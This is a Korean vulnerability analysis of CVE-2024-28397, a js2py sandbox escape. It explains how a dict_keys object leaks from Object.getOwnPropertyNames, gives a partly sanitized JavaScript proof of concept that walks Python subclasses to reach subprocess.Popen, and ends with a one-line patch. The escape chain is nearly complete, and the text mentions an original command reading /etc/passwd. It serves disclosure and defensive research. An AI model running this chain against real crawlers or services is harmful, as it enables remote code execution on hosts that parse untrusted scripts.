
CVE-2024-28397의 상세 분석: js2py의 샌드박스 이스케이프 취약점으로, 파이썬 객체 탐색을 통해 RCE를 가능하게 합니다. 코드 분석, PoC, 그리고 방어 연구를 위한 수정 권장 사항을 포함합니다.
js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼에서 웹사이트의 자바스크립트 코드를 파싱하는 데 사용됩니다.
js2py 내부 전역 변수 구현에 취약점이 존재하여, 공격자가 js2py 환경에서 파이썬 객체에 대한 참조를 얻을 수 있게 됩니다. 이를 통해 공격자는 JS 환경을 탈출하여 호스트에서 임의의 명령을 실행할 수 있습니다.
일반적으로 사용자는 js2py.disable_pyimport()를 호출하여 자바스크립트 코드가 js2py 환경을 벗어나는 것을 막습니다. 그러나 이 취약점을 이용하면 공격자는 이 제한을 우회하고 대상 호스트에서 모든 명령을 실행할 수 있습니다.
위협 행위자는 악성 자바스크립트 파일을 포함한 웹사이트를 호스팅하거나 HTTP API를 통해 악성 스크립트를 전송하여 피해자가 파싱하도록 할 수 있습니다. 이를 통해 행위자는 대상에서 임의의 셸 명령을 실행하여 원격 코드 실행을 달성할 수 있습니다.
js2py는 크롤러에서 일반적으로 사용되는 파이썬 라이브러리로, 네이티브 파이썬 환경에서 JS 코드를 파싱하고 실행하는 데 사용됩니다. 크롤러는 일반적으로 js2py를 사용하여 웹에서 얻은 JS 코드를 파싱함으로써 브라우저 환경을 시뮬레이션합니다.
그러나 js2py에는 크롤러에게 매우 위험한 기능이 있습니다. JS에서 파이썬 패키지를 가져오고 사용하는 것을 지원한다는 점입니다. 이는 js2py가 JS 코드가 다양한 파이썬 라이브러리를 조작하고 파이썬 환경과 직접 상호작용할 수 있도록 허용한다는 의미입니다. 바로 이 때문에 Jinja SSTI와 유사한 방법을 사용하여 js2py 환경에서 파이썬 객체를 통해 subprocess.Popen 클래스를 찾아 RCE를 달성할 수 있습니다.
게다가 js2py는 Python2 시대의 패키지로, 널리 사용되었지만 오랫동안 유지보수되지 않았기 때문에 분석이 비교적 쉬울 것입니다.
중단점을 설정한 후, JS 코드가 실제로 파싱되는 곳은 host/jseval.py의 Eval 함수임을 알 수 있습니다. 그 안에 중단점을 설정하면 js2py에 의해 변환된 파이썬 코드를 볼 수 있습니다.
예를 들어, 다음 JS 코드 조각은:
let a = 114
console.log(a)
최종적으로 다음과 같은 파이썬 코드로 파싱됩니다:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
JS 계층의 변수는 모두 파이썬 변수 var에 저장되는 것을 볼 수 있습니다. 모든 JS 계층 값은 PyJs 클래스로 깔끔하게 저장됩니다(여기서 Js는 실제로 함수이며, 나중에 설명됩니다). 함수도 callprop를 통해 호출됩니다. 정상적인 상황에서는 JS 코드가 파이썬 객체에 접근할 수 없습니다.
코드를 살펴보던 중, 작성자가 문자열 연결을 사용하여 최종 파이썬 코드를 구성하는 것을 매우 좋아한다는 것을 발견했습니다. 그래서 JS 코드를 구성하여 불법적인 파이썬 코드를 생성하고, 이를 통해 임의의 파이썬 코드를 구성하여 실행할 수 있을지 생각해보았습니다. 그러나 이 경로는 이후 경로보다 훨씬 어렵기 때문에 더 이상 탐구하지 않았습니다.
파이썬 객체를 얻고 RCE를 구현하려면, 먼저 파이썬 객체가 어떻게 PyJs 객체로 변환되는지 살펴봐야 합니다.
먼저 Js 함수의 구현을 찾습니다. base.py에 있습니다. Js 함수의 역할은 전달된 파이썬 값을 해당 PyJs 값으로 변환하여 JS 코드가 이 값을 조작할 수 있도록 하는 것입니다.
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # 여러 줄 생략
else: # try to convert to js object
return py_wrap(val)
파이썬의 bool, float, list 등 기본 데이터 구조는 전용 PyJs 클래스로 변환되고, 다른 유형의 데이터는 py_wrap에 의해 처리되어 최종적으로 PyObjectWrapper 클래스가 되는 것을 볼 수 있습니다.
일반 PyJs 클래스는 숫자, 불리언 등 일반 데이터를 나타내는 반면, PyObjectWrapper는 파이썬 모듈과 같은 특수 데이터를 나타냅니다. 따라서 PyObjectWrapper 유형의 데이터를 얻을 수만 있다면, Jinja SSTI와 유사한 속성 접근 방법을 사용하여 RCE를 달성할 수 있습니다.
일반적으로 PyObjectWrapper 유형 데이터는 파이썬 패키지를 가져오는 기능이 활성화된 경우에만 얻을 수 있지만, js2py가 오랫동안 유지보수되지 않았고 Python2와 Python3의 차이를 신중하게 고려하지 않았기 때문에 결국 샌드박스 탈출 취약점이 발생했습니다.
참고로, PyJs의 구현을 살펴보던 중 작성자가 다음과 같은 코드를 작성한 것을 보았습니다:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
작성자가 Python3를 극도로 싫어한다고 할 수 있습니다.
js2py는 JS 코드를 파이썬 코드로 변환하는 기능을 제공하는 동시에, console 및 Object와 같은 여러 내장 객체를 제공하여 JS 코드가 정상적으로 실행되도록 지원합니다.
우리의 최종 목표는 pyimport의 제한을 우회하고 PyObjectWrapper 객체를 얻는 것입니다. 위 분석에서 알 수 있듯이, 처음부터 PyObjectWrapper 객체를 얻으려면 내장 객체의 구현에서 시작하여 그 중에서 PyObjectWrapper 객체를 추출해야 합니다.
내장 객체의 구현 코드를 스캔하기 시작합니다. constructors/jsobject.py에서 Object 객체의 다양한 함수 구현을 볼 수 있으며, Object.keys와 같이 일반적으로 사용되는 함수도 포함됩니다.
그러면 다음 함수를 볼 수 있습니다:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py는 JS의 객체를 나타내기 위해 dict를 사용합니다. 여기서 keys()는 파이썬 딕셔너리의 keys()를 호출합니다. 파이썬을 공부한 사람이라면, Python2에서 이 함수는 리스트를 반환하는 반면, Python3에서는 dict_keys 뷰를 반환한다는 것을 알고 있을 것입니다. 위 Js 함수의 구현에 따르면, 이 dict_keys는 PyObjectWrapper로 변환되며, 따라서 RCE를 달성할 수 있습니다.
먼저 getOwnPropertyNames가 PyObjectWrapper를 얻을 수 있는지 확인합니다:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
PyObjectWrapper(dict_keys([]))가 출력되었습니다. 물론 가능합니다.
그런 다음 이 객체를 기반으로 __getattribute__ 함수를 얻으면 RCE를 쉽게 달성할 수 있습니다. PoC를 작성할 때 너무 복잡하게 생각했습니다. 실제로는 __class__.__base__를 사용하는 것만으로도 __getattribute__ 함수를 얻을 수 있습니다.
그런 다음 __getattribute__ 함수를 기반으로 객체 객체를 얻고, 재귀 함수를 작성하여 모든 모듈의 모든 클래스를 찾습니다. 여기서는 RCE를 위해 subprocess.Popen을 찾습니다.
참고 (정화됨): 아래 코드 조각은 교육 및 연구 목적으로만 표시됩니다. 악용을 방지하기 위해 정화되었습니다. 민감한 셸 명령과 직접 시스템 실행은 자리 표시자로 대체되었습니다. 프로덕션 또는 패치되지 않은 시스템에서 실행하지 마십시오.
import js2py
code = """
let cmd = "DUMMY_CMD" # 실험실에서 안전한 테스트 명령(예: 'echo test')으로 교체
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// 다음 호출은 subprocess.Popen을 인수와 함께 호출합니다. — 정화된 버전에서는
// 안전을 위해 실제 시스템 호출을 자리 표시자로 대체했습니다.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[정화됨] PoC 실행을 건너뛰어 악용 방지")
result
"""
# 참고: js2py.eval_js(code)는 이 저장소에서 악용 코드가 실행되는 것을 방지하기 위해 의도적으로 생략되었습니다.
영향받는 구성 요소의 버전 번호:
영향받는 제품:
재현 단계 (실험실 전용):
pip install js2py를 실행하여 js2py를 설치하고 정화된 PoC 스크립트를 격리된 실험실 환경에서 실행합니다. 원래 PoC는 head -n 1 /etc/passwd 및 계산기와 같은 명령을 실행하려고 시도했습니다. 이 저장소에서는 안전한 자리 표시자로 대체되었습니다.Object.getOwnPropertyNames({})에서 PyObjectWrapper를 얻을 수 있으며, 이를 통해 속성 탐색을 통해 파이썬 내부에 도달할 수 있음을 관찰할 수 있습니다.문제가 getOwnPropertyNames 함수에 있으므로, 반환하는 dict_keys를 일반 리스트로 변환하면 문제가 해결됩니다. 제안된 패치는 반환하기 전에 obj.own.keys()를 list(...)로 감싸는 것입니다.
이 저장소는 교육 및 방어적 연구 목적으로만 제공됩니다. 여기에 포함된 정보나 코드를 허가 없이 시스템을 공격하는 데 사용하지 마십시오. PoC 코드 조각은 악용을 방지하기 위해 정화되었습니다.
연구 및 방어적 사용을 위해 편집 및 번역되었습니다.